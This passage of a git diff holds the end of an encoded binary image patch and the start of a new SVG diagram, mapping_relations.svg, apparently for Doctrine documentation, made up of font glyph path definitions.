zW`to$Vg)vC+=)k1=JO<-c`Jo7-IR(-7E`3Z2c?^r5hHs5&PJV_IWL~t_bK|Wi^k%(
zXnga261E&V4@dFL^bIdktnCdrdsPhXOUptoO$t|>^dQ~<-<lEnM<H$hQA|?e9dkyg
z!ppN7{fSRWXvsw!x%78G`Ql<{4R%x=;Xxcbu$M_ZbUol+eCdjnSeXz^ibFQKeTAMY
z#?z`y@x?F7&r|G`G!(v5P37{?GhrH{>B=x=4pyvOiG+}^v3fNLfP`j*DiaA?lPE;+
zY-HRs3;iAC@byc@`Pqp`+fs;XvRCeGW*W>GNzT}(2G3FGxFWLON#`ica10u<X_G76
z0W-b%k+T=lISO?V&3%xKPdJh}S~Vnqp*aSrOJIsaK~_S+u4of4DrGT8p=;%GrLKO-
z7Fo^v`t9Rt3#4_bxDqvQK<9L=6}-J(#3!>%u-j{1SxWfjk<F5lu9?f?ZJPql6thCW
zm$0kOPabFsbC+x}zhTPe#gloCf`>_Nk;$H#K=UOmbyhJ~$ZNS~GY$r>Dp!J^(&Qf5
z<c3*%pHg?qY%YV%RS9!4G_R2>aR;r;<k(aLZwpoy@U~r6uk~CFMJ?k>(%HO+_>Nh<
zmWJq2J4c~oE~=GWt!t)cMurhhV||XIxrq8zav6O=t|#dnMK?eHAoepQSE4b!IGgUp
zE!~J4+N-%_a~~xa<oVS+K3YwgX}(f`TTm;`RSENPNUt&>P2a!t`=W187;l_!)1{oF
zV9PumrooKDVG)lqNErnK)Tg6qqi!ut7!6L&#z<f#Ef|Ffl-+m~L&VnL-4NSCMuMKb
zJiNPP2kwU@U_83CWE4(<V(}<Ez>kk-;YN8O4u<WaVAL`SCrNs#vyF8|;R*eujDm;L
zr{lCVme`9GL*0MKWc#}oVv<-E?c^7VNEfyU^|N>{mN|#4Q1b9nG73+0IT8X#Ci(aW
zVuru%x|mB~Hoxj_x+d{CG$z_8O%duOwLky>0d`45K~%gHbl6JHxFNQehj*9k3BtAz
z^5#AAH0tjGe#~{UJLUOu-fV{qOQwJ=3i$XV(9Sv+d*7@SjO{!=<WhWKfYLV=B0#y0
zR@D?i7d3F7hr`^D+a6Y=)r`7pr%>LvZy%WJ?~zKMe)=gNH^STXH8wUPFfb5be)*-h
zL61s!2M!#t2v<2Ok#qv7y1F`CdF7Q(<dn16q5z9a!aTN)mekSF0h07b1f9=6|D68@
zM%MFcC@L!}F_Cud*L$&@tSy(y&G<N`*^I~=lPi%aAX7l5fJ}igNdd2{dK!~0mywn!
zAX7l5fJ_0WC?GQmr^qB{k|`ilK&HUuO97ctT)yvKZn;bWnF2BeoT7ltD4ZgboJppD
zOaYk!moEimMsfMRd%5K@1!M}y6mW_HGNW*cOmZff0x|_;3S7PvkQv40`|jnI%M_3)
zAXC683doGYDKg2KWD3X>kSTEaQb1-Dm+!lmTP{;TrhrTVrzr6MYun`_8ePT600000
LNkvXXu0mjf1o8db

diff --git a/_images/doctrine/mapping_relations.svg b/_images/doctrine/mapping_relations.svg
new file mode 100644
index 00000000000..7dc8979cb1a
--- /dev/null
+++ b/_images/doctrine/mapping_relations.svg
@@ -0,0 +1,602 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="441pt" height="407pt" viewBox="0 0 441 407" version="1.1">
+<defs>
+<g>
+<symbol overflow="visible" id="glyph0-0">
+<path style="stroke:none;" d="M 1.015625 -14.234375 L 14.234375 -14.234375 L 14.234375 0 L 1.015625 0 Z M 11.59375 -12.609375 L 7.625 -8.1875 L 3.65625 -12.609375 L 2.640625 -11.59375 L 6.640625 -7.109375 L 2.640625 -2.640625 L 3.65625 -1.625 L 7.625 -6.03125 L 11.59375 -1.625 L 12.609375 -2.640625 L 8.578125 -7.109375 L 12.609375 -11.59375 Z M 2.625 -0.546875 L 2.78125 -0.546875 L 2.78125 -0.796875 L 2.859375 -0.796875 C 2.941406 -0.796875 3.015625 -0.8125 3.078125 -0.84375 C 3.148438 -0.875 3.1875 -0.9375 3.1875 -1.03125 C 3.1875 -1.144531 3.148438 -1.210938 3.078125 -1.234375 C 3.003906 -1.265625 2.925781 -1.28125 2.84375 -1.28125 L 2.625 -1.28125 Z M 2.859375 -1.15625 C 2.972656 -1.15625 3.03125 -1.125 3.03125 -1.0625 C 3.03125 -0.988281 3.007812 -0.945312 2.96875 -0.9375 C 2.9375 -0.9375 2.894531 -0.9375 2.84375 -0.9375 L 2.78125 -0.9375 L 2.78125 -1.15625 Z M 3.84375 -1.28125 L 3.21875 -1.28125 L 3.21875 -1.15625 L 3.453125 -1.15625 L 3.453125 -0.546875 L 3.59375 -0.546875 L 3.59375 -1.15625 L 3.84375 -1.15625 Z M 4.515625 -0.75 C 4.515625 -0.695312 4.46875 -0.671875 4.375 -0.671875 C 4.28125 -0.671875 4.21875 -0.6875 4.1875 -0.71875 L 4.125 -0.5625 C 4.15625 -0.5625 4.191406 -0.554688 4.234375 -0.546875 C 4.273438 -0.535156 4.328125 -0.53125 4.390625 -0.53125 C 4.578125 -0.53125 4.671875 -0.609375 4.671875 -0.765625 C 4.671875 -0.890625 4.609375 -0.957031 4.484375 -0.96875 C 4.367188 -0.988281 4.3125 -1.03125 4.3125 -1.09375 C 4.3125 -1.132812 4.351562 -1.15625 4.4375 -1.15625 C 4.5 -1.15625 4.554688 -1.144531 4.609375 -1.125 L 4.65625 -1.265625 C 4.570312 -1.285156 4.5 -1.296875 4.4375 -1.296875 C 4.238281 -1.296875 4.140625 -1.222656 4.140625 -1.078125 C 4.140625 -1.003906 4.160156 -0.953125 4.203125 -0.921875 C 4.242188 -0.898438 4.285156 -0.878906 4.328125 -0.859375 C 4.367188 -0.835938 4.410156 -0.820312 4.453125 -0.8125 C 4.492188 -0.800781 4.515625 -0.78125 4.515625 -0.75 Z M 4.8125 -0.953125 C 4.875 -0.984375 4.9375 -1 5 -1 C 5.070312 -1 5.109375 -0.972656 5.109375 -0.921875 L 5.109375 -0.875 C 5.085938 -0.875 5.070312 -0.875 5.0625 -0.875 C 5.050781 -0.882812 5.03125 -0.890625 5 -0.890625 C 4.832031 -0.890625 4.75 -0.820312 4.75 -0.6875 C 4.75 -0.582031 4.804688 -0.53125 4.921875 -0.53125 C 5.003906 -0.53125 5.066406 -0.5625 5.109375 -0.625 L 5.140625 -0.546875 L 5.265625 -0.546875 C 5.253906 -0.578125 5.25 -0.625 5.25 -0.6875 L 5.25 -0.921875 C 5.25 -1.054688 5.179688 -1.125 5.046875 -1.125 C 4.984375 -1.125 4.925781 -1.113281 4.875 -1.09375 C 4.832031 -1.082031 4.800781 -1.070312 4.78125 -1.0625 Z M 4.984375 -0.65625 C 4.929688 -0.65625 4.90625 -0.679688 4.90625 -0.734375 C 4.90625 -0.785156 4.9375 -0.8125 5 -0.8125 C 5.03125 -0.8125 5.050781 -0.804688 5.0625 -0.796875 C 5.070312 -0.796875 5.085938 -0.796875 5.109375 -0.796875 L 5.109375 -0.734375 C 5.078125 -0.679688 5.035156 -0.65625 4.984375 -0.65625 Z M 5.9375 -0.546875 L 5.9375 -0.875 C 5.9375 -1.039062 5.875 -1.125 5.75 -1.125 C 5.65625 -1.125 5.585938 -1.085938 5.546875 -1.015625 L 5.515625 -1.09375 L 5.40625 -1.09375 L 5.40625 -0.546875 L 5.546875 -0.546875 L 5.546875 -0.890625 C 5.578125 -0.941406 5.617188 -0.96875 5.671875 -0.96875 C 5.734375 -0.96875 5.765625 -0.929688 5.765625 -0.859375 L 5.765625 -0.546875 Z M 6.03125 -0.5625 C 6.09375 -0.539062 6.160156 -0.53125 6.234375 -0.53125 C 6.390625 -0.53125 6.46875 -0.59375 6.46875 -0.71875 C 6.46875 -0.78125 6.445312 -0.816406 6.40625 -0.828125 C 6.375 -0.847656 6.335938 -0.867188 6.296875 -0.890625 C 6.234375 -0.921875 6.203125 -0.941406 6.203125 -0.953125 C 6.203125 -0.984375 6.222656 -1 6.265625 -1 C 6.316406 -1 6.367188 -0.984375 6.421875 -0.953125 L 6.46875 -1.078125 C 6.414062 -1.109375 6.347656 -1.125 6.265625 -1.125 C 6.128906 -1.125 6.0625 -1.0625 6.0625 -0.9375 C 6.0625 -0.863281 6.082031 -0.816406 6.125 -0.796875 C 6.164062 -0.773438 6.195312 -0.757812 6.21875 -0.75 C 6.289062 -0.75 6.328125 -0.726562 6.328125 -0.6875 C 6.328125 -0.664062 6.304688 -0.65625 6.265625 -0.65625 C 6.191406 -0.65625 6.128906 -0.664062 6.078125 -0.6875 Z M 6.875 -0.859375 C 6.875 -0.566406 7.007812 -0.421875 7.28125 -0.421875 C 7.550781 -0.421875 7.6875 -0.566406 7.6875 -0.859375 C 7.6875 -1.128906 7.550781 -1.265625 7.28125 -1.265625 C 7.164062 -1.265625 7.066406 -1.222656 6.984375 -1.140625 C 6.910156 -1.066406 6.875 -0.972656 6.875 -0.859375 Z M 7 -0.859375 C 7 -1.054688 7.09375 -1.15625 7.28125 -1.15625 C 7.46875 -1.15625 7.5625 -1.054688 7.5625 -0.859375 C 7.5625 -0.648438 7.46875 -0.546875 7.28125 -0.546875 C 7.09375 -0.546875 7 -0.648438 7 -0.859375 Z M 7.40625 -0.765625 C 7.375 -0.753906 7.34375 -0.75 7.3125 -0.75 C 7.257812 -0.75 7.234375 -0.785156 7.234375 -0.859375 C 7.234375 -0.910156 7.257812 -0.9375 7.3125 -0.9375 L 7.375 -0.9375 L 7.421875 -1.015625 C 7.367188 -1.046875 7.320312 -1.0625 7.28125 -1.0625 C 7.15625 -1.0625 7.09375 -0.992188 7.09375 -0.859375 C 7.09375 -0.703125 7.15625 -0.625 7.28125 -0.625 C 7.34375 -0.625 7.390625 -0.640625 7.421875 -0.671875 Z M 8.109375 -0.546875 L 8.28125 -0.546875 L 8.28125 -0.796875 L 8.359375 -0.796875 C 8.441406 -0.796875 8.515625 -0.8125 8.578125 -0.84375 C 8.648438 -0.875 8.6875 -0.9375 8.6875 -1.03125 C 8.6875 -1.144531 8.644531 -1.210938 8.5625 -1.234375 C 8.488281 -1.265625 8.410156 -1.28125 8.328125 -1.28125 L 8.109375 -1.28125 Z M 8.359375 -1.15625 C 8.460938 -1.15625 8.515625 -1.125 8.515625 -1.0625 C 8.515625 -0.988281 8.5 -0.945312 8.46875 -0.9375 C 8.4375 -0.9375 8.390625 -0.9375 8.328125 -0.9375 L 8.28125 -0.9375 L 8.28125 -1.15625 Z M 8.78125 -0.953125 C 8.832031 -0.984375 8.894531 -1 8.96875 -1 C 9.03125 -1 9.0625 -0.972656 9.0625 -0.921875 L 9.0625 -0.875 C 9.050781 -0.875 9.035156 -0.875 9.015625 -0.875 C 9.003906 -0.882812 8.988281 -0.890625 8.96875 -0.890625 C 8.789062 -0.890625 8.703125 -0.820312 8.703125 -0.6875 C 8.703125 -0.582031 8.765625 -0.53125 8.890625 -0.53125 C 8.960938 -0.53125 9.019531 -0.5625 9.0625 -0.625 L 9.109375 -0.546875 L 9.234375 -0.546875 C 9.210938 -0.578125 9.203125 -0.625 9.203125 -0.6875 L 9.203125 -0.921875 C 9.203125 -1.054688 9.132812 -1.125 9 -1.125 C 8.945312 -1.125 8.894531 -1.113281 8.84375 -1.09375 C 8.800781 -1.082031 8.765625 -1.070312 8.734375 -1.0625 Z M 8.9375 -0.65625 C 8.882812 -0.65625 8.859375 -0.679688 8.859375 -0.734375 C 8.859375 -0.785156 8.894531 -0.8125 8.96875 -0.8125 C 8.988281 -0.8125 9.003906 -0.804688 9.015625 -0.796875 C 9.035156 -0.796875 9.050781 -0.796875 9.0625 -0.796875 L 9.0625 -0.734375 C 9.039062 -0.679688 9 -0.65625 8.9375 -0.65625 Z M 9.71875 -1.09375 C 9.707031 -1.113281 9.679688 -1.125 9.640625 -1.125 C 9.578125 -1.125 9.535156 -1.085938 9.515625 -1.015625 L 9.5 -1.015625 L 9.46875 -1.09375 L 9.34375 -1.09375 L 9.34375 -0.546875 L 9.515625 -0.546875 L 9.515625 -0.890625 C 9.515625 -0.941406 9.554688 -0.96875 9.640625 -0.96875 L 9.65625 -0.96875 C 9.664062 -0.96875 9.671875 -0.960938 9.671875 -0.953125 C 9.671875 -0.953125 9.679688 -0.953125 9.703125 -0.953125 Z M 9.8125 -0.953125 C 9.894531 -0.984375 9.957031 -1 10 -1 C 10.070312 -1 10.109375 -0.972656 10.109375 -0.921875 L 10.109375 -0.875 C 10.085938 -0.875 10.070312 -0.875 10.0625 -0.875 C 10.050781 -0.882812 10.03125 -0.890625 10 -0.890625 C 9.820312 -0.890625 9.734375 -0.820312 9.734375 -0.6875 C 9.734375 -0.582031 9.796875 -0.53125 9.921875 -0.53125 C 10.015625 -0.53125 10.078125 -0.5625 10.109375 -0.625 L 10.125 -0.625 L 10.140625 -0.546875 L 10.265625 -0.546875 C 10.253906 -0.578125 10.25 -0.625 10.25 -0.6875 L 10.25 -0.921875 C 10.25 -1.054688 10.179688 -1.125 10.046875 -1.125 C 9.984375 -1.125 9.929688 -1.113281 9.890625 -1.09375 C 9.859375 -1.082031 9.828125 -1.070312 9.796875 -1.0625 Z M 9.984375 -0.65625 C 9.929688 -0.65625 9.90625 -0.679688 9.90625 -0.734375 C 9.90625 -0.785156 9.9375 -0.8125 10 -0.8125 C 10.03125 -0.8125 10.050781 -0.804688 10.0625 -0.796875 C 10.070312 -0.796875 10.085938 -0.796875 10.109375 -0.796875 L 10.109375 -0.734375 C 10.078125 -0.679688 10.035156 -0.65625 9.984375 -0.65625 Z M 10.828125 -1.28125 L 10.203125 -1.28125 L 10.203125 -1.15625 L 10.421875 -1.15625 L 10.421875 -0.546875 L 10.59375 -0.546875 L 10.59375 -1.15625 L 10.828125 -1.15625 Z M 11 -1.09375 L 10.828125 -1.09375 L 11.078125 -0.546875 C 11.066406 -0.484375 11.035156 -0.453125 10.984375 -0.453125 L 10.953125 -0.46875 L 10.921875 -0.34375 C 10.941406 -0.332031 10.972656 -0.328125 11.015625 -0.328125 C 11.085938 -0.328125 11.15625 -0.414062 11.21875 -0.59375 L 11.421875 -1.09375 L 11.265625 -1.09375 L 11.15625 -0.796875 L 11.15625 -0.6875 L 11.140625 -0.6875 L 11.125 -0.796875 Z M 11.484375 -0.328125 L 11.640625 -0.328125 L 11.640625 -0.5625 C 11.660156 -0.539062 11.695312 -0.53125 11.75 -0.53125 C 11.9375 -0.53125 12.03125 -0.628906 12.03125 -0.828125 C 12.03125 -1.023438 11.957031 -1.125 11.8125 -1.125 C 11.738281 -1.125 11.675781 -1.09375 11.625 -1.03125 L 11.609375 -1.03125 L 11.59375 -1.09375 L 11.484375 -1.09375 Z M 11.765625 -1 C 11.835938 -1 11.875 -0.941406 11.875 -0.828125 C 11.875 -0.710938 11.828125 -0.65625 11.734375 -0.65625 C 11.703125 -0.65625 11.671875 -0.664062 11.640625 -0.6875 L 11.640625 -0.890625 C 11.640625 -0.960938 11.679688 -1 11.765625 -1 Z M 12.5625 -0.6875 C 12.53125 -0.664062 12.484375 -0.65625 12.421875 -0.65625 C 12.328125 -0.65625 12.269531 -0.691406 12.25 -0.765625 L 12.640625 -0.765625 L 12.640625 -0.890625 C 12.640625 -0.972656 12.613281 -1.03125 12.5625 -1.0625 C 12.519531 -1.101562 12.46875 -1.125 12.40625 -1.125 C 12.207031 -1.125 12.109375 -1.019531 12.109375 -0.8125 C 12.109375 -0.625 12.207031 -0.53125 12.40625 -0.53125 C 12.445312 -0.53125 12.484375 -0.535156 12.515625 -0.546875 C 12.554688 -0.554688 12.59375 -0.570312 12.625 -0.59375 Z M 12.40625 -1 C 12.476562 -1 12.507812 -0.957031 12.5 -0.875 L 12.28125 -0.875 C 12.28125 -0.957031 12.320312 -1 12.40625 -1 Z M 12.40625 -1 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-1">
+<path style="stroke:none;" d="M 1.296875 -14.234375 C 1.515625 -14.273438 1.753906 -14.304688 2.015625 -14.328125 C 2.285156 -14.347656 2.554688 -14.359375 2.828125 -14.359375 C 3.097656 -14.367188 3.363281 -14.375 3.625 -14.375 C 3.894531 -14.382812 4.144531 -14.390625 4.375 -14.390625 C 5.363281 -14.390625 6.203125 -14.21875 6.890625 -13.875 C 7.578125 -13.539062 8.140625 -13.054688 8.578125 -12.421875 C 9.015625 -11.796875 9.328125 -11.039062 9.515625 -10.15625 C 9.703125 -9.28125 9.796875 -8.300781 9.796875 -7.21875 C 9.796875 -6.238281 9.703125 -5.300781 9.515625 -4.40625 C 9.335938 -3.507812 9.03125 -2.722656 8.59375 -2.046875 C 8.164062 -1.367188 7.59375 -0.828125 6.875 -0.421875 C 6.164062 -0.015625 5.273438 0.1875 4.203125 0.1875 C 4.023438 0.1875 3.800781 0.179688 3.53125 0.171875 C 3.257812 0.160156 2.976562 0.144531 2.6875 0.125 C 2.394531 0.113281 2.125 0.0976562 1.875 0.078125 C 1.625 0.0664062 1.429688 0.046875 1.296875 0.015625 Z M 4.453125 -12.984375 C 4.316406 -12.984375 4.171875 -12.984375 4.015625 -12.984375 C 3.859375 -12.984375 3.703125 -12.976562 3.546875 -12.96875 C 3.398438 -12.957031 3.265625 -12.941406 3.140625 -12.921875 C 3.015625 -12.910156 2.910156 -12.898438 2.828125 -12.890625 L 2.828125 -1.296875 C 2.878906 -1.285156 2.972656 -1.273438 3.109375 -1.265625 C 3.253906 -1.265625 3.40625 -1.257812 3.5625 -1.25 C 3.71875 -1.238281 3.867188 -1.226562 4.015625 -1.21875 C 4.160156 -1.21875 4.265625 -1.21875 4.328125 -1.21875 C 5.078125 -1.21875 5.703125 -1.378906 6.203125 -1.703125 C 6.703125 -2.035156 7.097656 -2.472656 7.390625 -3.015625 C 7.679688 -3.566406 7.882812 -4.203125 8 -4.921875 C 8.125 -5.648438 8.1875 -6.421875 8.1875 -7.234375 C 8.1875 -7.953125 8.128906 -8.65625 8.015625 -9.34375 C 7.910156 -10.039062 7.71875 -10.65625 7.4375 -11.1875 C 7.164062 -11.726562 6.789062 -12.160156 6.3125 -12.484375 C 5.832031 -12.816406 5.210938 -12.984375 4.453125 -12.984375 Z M 4.453125 -12.984375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-2">
+<path style="stroke:none;" d="M 0.75 -5.078125 C 0.75 -6.910156 1.0625 -8.253906 1.6875 -9.109375 C 2.320312 -9.972656 3.222656 -10.40625 4.390625 -10.40625 C 5.640625 -10.40625 6.554688 -9.960938 7.140625 -9.078125 C 7.734375 -8.203125 8.03125 -6.867188 8.03125 -5.078125 C 8.03125 -3.234375 7.710938 -1.882812 7.078125 -1.03125 C 6.441406 -0.175781 5.546875 0.25 4.390625 0.25 C 3.140625 0.25 2.21875 -0.191406 1.625 -1.078125 C 1.039062 -1.960938 0.75 -3.296875 0.75 -5.078125 Z M 2.28125 -5.078125 C 2.28125 -4.484375 2.316406 -3.941406 2.390625 -3.453125 C 2.460938 -2.960938 2.582031 -2.539062 2.75 -2.1875 C 2.925781 -1.84375 3.148438 -1.570312 3.421875 -1.375 C 3.691406 -1.175781 4.015625 -1.078125 4.390625 -1.078125 C 5.097656 -1.078125 5.625 -1.390625 5.96875 -2.015625 C 6.320312 -2.648438 6.5 -3.671875 6.5 -5.078125 C 6.5 -5.660156 6.460938 -6.195312 6.390625 -6.6875 C 6.316406 -7.1875 6.191406 -7.613281 6.015625 -7.96875 C 5.847656 -8.320312 5.628906 -8.597656 5.359375 -8.796875 C 5.085938 -8.992188 4.765625 -9.09375 4.390625 -9.09375 C 3.703125 -9.09375 3.175781 -8.769531 2.8125 -8.125 C 2.457031 -7.488281 2.28125 -6.472656 2.28125 -5.078125 Z M 2.28125 -5.078125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-3">
+<path style="stroke:none;" d="M 6.8125 -0.515625 C 6.46875 -0.253906 6.078125 -0.0625 5.640625 0.0625 C 5.210938 0.1875 4.765625 0.25 4.296875 0.25 C 3.640625 0.25 3.085938 0.125 2.640625 -0.125 C 2.191406 -0.382812 1.828125 -0.742188 1.546875 -1.203125 C 1.273438 -1.671875 1.070312 -2.234375 0.9375 -2.890625 C 0.8125 -3.546875 0.75 -4.273438 0.75 -5.078125 C 0.75 -6.816406 1.054688 -8.140625 1.671875 -9.046875 C 2.296875 -9.953125 3.179688 -10.40625 4.328125 -10.40625 C 4.859375 -10.40625 5.3125 -10.359375 5.6875 -10.265625 C 6.070312 -10.171875 6.398438 -10.050781 6.671875 -9.90625 L 6.265625 -8.625 C 5.722656 -8.9375 5.132812 -9.09375 4.5 -9.09375 C 3.757812 -9.09375 3.203125 -8.769531 2.828125 -8.125 C 2.460938 -7.476562 2.28125 -6.460938 2.28125 -5.078125 C 2.28125 -4.523438 2.316406 -4.003906 2.390625 -3.515625 C 2.472656 -3.023438 2.609375 -2.597656 2.796875 -2.234375 C 2.992188 -1.878906 3.238281 -1.597656 3.53125 -1.390625 C 3.832031 -1.179688 4.207031 -1.078125 4.65625 -1.078125 C 5.007812 -1.078125 5.335938 -1.132812 5.640625 -1.25 C 5.941406 -1.375 6.191406 -1.519531 6.390625 -1.6875 Z M 6.8125 -0.515625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-4">
+<path style="stroke:none;" d="M 0.1875 -10.15625 L 1.421875 -10.15625 L 1.421875 -12.171875 L 2.890625 -12.640625 L 2.890625 -10.15625 L 5.078125 -10.15625 L 5.078125 -8.84375 L 2.890625 -8.84375 L 2.890625 -2.78125 C 2.890625 -2.1875 2.957031 -1.753906 3.09375 -1.484375 C 3.238281 -1.222656 3.472656 -1.09375 3.796875 -1.09375 C 4.066406 -1.09375 4.300781 -1.125 4.5 -1.1875 C 4.695312 -1.25 4.910156 -1.328125 5.140625 -1.421875 L 5.421875 -0.265625 C 5.128906 -0.117188 4.800781 -0.00390625 4.4375 0.078125 C 4.082031 0.171875 3.707031 0.21875 3.3125 0.21875 C 2.632812 0.21875 2.148438 0 1.859375 -0.4375 C 1.566406 -0.875 1.421875 -1.585938 1.421875 -2.578125 L 1.421875 -8.84375 L 0.1875 -8.84375 Z M 0.1875 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-5">
+<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.5 -9.09375 L 2.5625 -9.09375 C 2.75 -9.476562 2.992188 -9.78125 3.296875 -10 C 3.609375 -10.226562 3.976562 -10.34375 4.40625 -10.34375 C 4.71875 -10.34375 5.070312 -10.28125 5.46875 -10.15625 L 5.1875 -8.6875 C 4.832031 -8.800781 4.519531 -8.859375 4.25 -8.859375 C 3.8125 -8.859375 3.457031 -8.734375 3.1875 -8.484375 C 2.914062 -8.234375 2.738281 -7.898438 2.65625 -7.484375 L 2.65625 0 L 1.203125 0 Z M 1.203125 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-6">
+<path style="stroke:none;" d="M 1.4375 -10.15625 L 2.90625 -10.15625 L 2.90625 0 L 1.4375 0 Z M 1.171875 -13.25 C 1.171875 -13.570312 1.265625 -13.835938 1.453125 -14.046875 C 1.640625 -14.253906 1.878906 -14.359375 2.171875 -14.359375 C 2.472656 -14.359375 2.722656 -14.257812 2.921875 -14.0625 C 3.117188 -13.863281 3.21875 -13.59375 3.21875 -13.25 C 3.21875 -12.925781 3.117188 -12.671875 2.921875 -12.484375 C 2.722656 -12.304688 2.472656 -12.21875 2.171875 -12.21875 C 1.878906 -12.21875 1.640625 -12.3125 1.453125 -12.5 C 1.265625 -12.6875 1.171875 -12.9375 1.171875 -13.25 Z M 1.171875 -13.25 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-7">
+<path style="stroke:none;" d="M 6.40625 0 L 6.40625 -6.203125 C 6.40625 -7.210938 6.285156 -7.945312 6.046875 -8.40625 C 5.804688 -8.863281 5.382812 -9.09375 4.78125 -9.09375 C 4.238281 -9.09375 3.789062 -8.925781 3.4375 -8.59375 C 3.082031 -8.269531 2.820312 -7.875 2.65625 -7.40625 L 2.65625 0 L 1.203125 0 L 1.203125 -10.15625 L 2.25 -10.15625 L 2.515625 -9.09375 L 2.578125 -9.09375 C 2.835938 -9.457031 3.1875 -9.765625 3.625 -10.015625 C 4.070312 -10.273438 4.597656 -10.40625 5.203125 -10.40625 C 5.640625 -10.40625 6.019531 -10.34375 6.34375 -10.21875 C 6.675781 -10.101562 6.953125 -9.898438 7.171875 -9.609375 C 7.398438 -9.316406 7.570312 -8.925781 7.6875 -8.4375 C 7.800781 -7.945312 7.859375 -7.332031 7.859375 -6.59375 L 7.859375 0 Z M 6.40625 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-8">
+<path style="stroke:none;" d="M 7.28125 -0.6875 C 6.957031 -0.394531 6.539062 -0.164062 6.03125 0 C 5.53125 0.164062 5.003906 0.25 4.453125 0.25 C 3.816406 0.25 3.265625 0.125 2.796875 -0.125 C 2.328125 -0.382812 1.9375 -0.742188 1.625 -1.203125 C 1.320312 -1.671875 1.097656 -2.226562 0.953125 -2.875 C 0.816406 -3.53125 0.75 -4.265625 0.75 -5.078125 C 0.75 -6.816406 1.066406 -8.140625 1.703125 -9.046875 C 2.335938 -9.953125 3.238281 -10.40625 4.40625 -10.40625 C 4.789062 -10.40625 5.164062 -10.359375 5.53125 -10.265625 C 5.90625 -10.171875 6.242188 -9.976562 6.546875 -9.6875 C 6.847656 -9.40625 7.085938 -9.003906 7.265625 -8.484375 C 7.453125 -7.972656 7.546875 -7.304688 7.546875 -6.484375 C 7.546875 -6.253906 7.535156 -6.003906 7.515625 -5.734375 C 7.492188 -5.472656 7.46875 -5.203125 7.4375 -4.921875 L 2.28125 -4.921875 C 2.28125 -4.335938 2.328125 -3.804688 2.421875 -3.328125 C 2.515625 -2.859375 2.660156 -2.457031 2.859375 -2.125 C 3.066406 -1.789062 3.328125 -1.53125 3.640625 -1.34375 C 3.960938 -1.164062 4.363281 -1.078125 4.84375 -1.078125 C 5.207031 -1.078125 5.566406 -1.144531 5.921875 -1.28125 C 6.285156 -1.414062 6.5625 -1.578125 6.75 -1.765625 Z M 6.140625 -6.140625 C 6.171875 -7.148438 6.03125 -7.894531 5.71875 -8.375 C 5.40625 -8.851562 4.976562 -9.09375 4.4375 -9.09375 C 3.8125 -9.09375 3.316406 -8.851562 2.953125 -8.375 C 2.585938 -7.894531 2.367188 -7.148438 2.296875 -6.140625 Z M 6.140625 -6.140625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-9">
+<path style="stroke:none;" d="M 8.796875 -12.828125 L 5.3125 -12.828125 L 5.3125 0 L 3.78125 0 L 3.78125 -12.828125 L 0.28125 -12.828125 L 0.28125 -14.234375 L 8.796875 -14.234375 Z M 8.796875 -12.828125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-10">
+<path style="stroke:none;" d="M 1.09375 -9.546875 C 1.488281 -9.796875 1.96875 -9.988281 2.53125 -10.125 C 3.09375 -10.257812 3.6875 -10.328125 4.3125 -10.328125 C 4.875 -10.328125 5.328125 -10.238281 5.671875 -10.0625 C 6.023438 -9.894531 6.300781 -9.664062 6.5 -9.375 C 6.695312 -9.082031 6.820312 -8.75 6.875 -8.375 C 6.9375 -8.007812 6.96875 -7.625 6.96875 -7.21875 C 6.96875 -6.40625 6.953125 -5.609375 6.921875 -4.828125 C 6.890625 -4.054688 6.875 -3.328125 6.875 -2.640625 C 6.875 -2.128906 6.890625 -1.648438 6.921875 -1.203125 C 6.953125 -0.765625 7.015625 -0.347656 7.109375 0.046875 L 6 0.046875 L 5.65625 -1.15625 L 5.5625 -1.15625 C 5.363281 -0.800781 5.066406 -0.492188 4.671875 -0.234375 C 4.273438 0.015625 3.75 0.140625 3.09375 0.140625 C 2.351562 0.140625 1.75 -0.109375 1.28125 -0.609375 C 0.820312 -1.117188 0.59375 -1.820312 0.59375 -2.71875 C 0.59375 -3.300781 0.6875 -3.789062 0.875 -4.1875 C 1.070312 -4.582031 1.347656 -4.898438 1.703125 -5.140625 C 2.066406 -5.390625 2.492188 -5.5625 2.984375 -5.65625 C 3.484375 -5.757812 4.039062 -5.8125 4.65625 -5.8125 C 4.789062 -5.8125 4.925781 -5.8125 5.0625 -5.8125 C 5.195312 -5.8125 5.335938 -5.804688 5.484375 -5.796875 C 5.523438 -6.210938 5.546875 -6.582031 5.546875 -6.90625 C 5.546875 -7.675781 5.429688 -8.21875 5.203125 -8.53125 C 4.972656 -8.84375 4.550781 -9 3.9375 -9 C 3.5625 -9 3.148438 -8.941406 2.703125 -8.828125 C 2.253906 -8.710938 1.878906 -8.566406 1.578125 -8.390625 Z M 5.515625 -4.640625 C 5.378906 -4.648438 5.242188 -4.65625 5.109375 -4.65625 C 4.972656 -4.664062 4.835938 -4.671875 4.703125 -4.671875 C 4.367188 -4.671875 4.046875 -4.644531 3.734375 -4.59375 C 3.421875 -4.539062 3.144531 -4.445312 2.90625 -4.3125 C 2.664062 -4.175781 2.472656 -3.992188 2.328125 -3.765625 C 2.179688 -3.535156 2.109375 -3.242188 2.109375 -2.890625 C 2.109375 -2.347656 2.238281 -1.925781 2.5 -1.625 C 2.769531 -1.320312 3.113281 -1.171875 3.53125 -1.171875 C 4.101562 -1.171875 4.546875 -1.304688 4.859375 -1.578125 C 5.171875 -1.847656 5.390625 -2.148438 5.515625 -2.484375 Z M 5.515625 -4.640625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-11">
